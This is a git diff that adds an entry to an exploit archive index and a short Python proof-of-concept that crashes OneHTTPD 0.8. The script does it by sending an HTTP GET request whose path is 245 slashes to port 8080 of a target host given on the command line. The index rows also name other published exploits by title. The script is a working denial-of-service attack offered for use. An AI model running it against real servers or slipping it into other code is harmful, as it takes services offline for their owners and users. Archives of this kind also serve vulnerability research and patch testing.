diff --git a/files.csv b/files.csv index 53a16462b..6c08a143b 100755 --- a/files.csv +++ b/files.csv @@ -28323,3 +28323,4 @@ id,file,description,date,author,platform,type,port 31519,platforms/hardware/remote/31519.rb,"Android Browser and WebView addJavascriptInterface Code Execution",2014-02-07,metasploit,hardware,remote,0 31520,platforms/php/webapps/31520.txt,"AuraCMS 2.3 - Multiple Vulnerabilities",2014-02-07,"High-Tech Bridge SA",php,webapps,80 31521,platforms/php/webapps/31521.txt,"doorGets CMS 5.2 - SQL Injection Vulnerability",2014-02-07,"High-Tech Bridge SA",php,webapps,80 +31522,platforms/windows/dos/31522.py,"OneHTTPD 0.8 - Crash PoC",2014-02-08,"Mahmod Mahajna (Mahy)",windows,dos,80 diff --git a/platforms/windows/dos/31522.py b/platforms/windows/dos/31522.py new file mode 100755 index 000000000..a30bc854d --- /dev/null +++ b/platforms/windows/dos/31522.py @@ -0,0 +1,18 @@ +# Exploit Title: onehttpd 0.8 Crash PoC +# Date: Feb 7,2014 +# Exploit Author: Mahmod Mahajna (Mahy) +# Version: 0.8 +# Software Link: https://onehttpd.googlecode.com/files/onehttpd-0.8.exe +# Tested on: Windows XP SP3 +# Email: m.dofo123@gmail.com +from requests import get,ConnectionError as cerror +from sys import argv +if(len(argv)!=2): + print '%s host' % argv[0] +else: + buff = '/'*245 + script,host=argv + try: + get('http://'+host+':8080/'+buff) + except cerror: + exit(1) \ No newline at end of file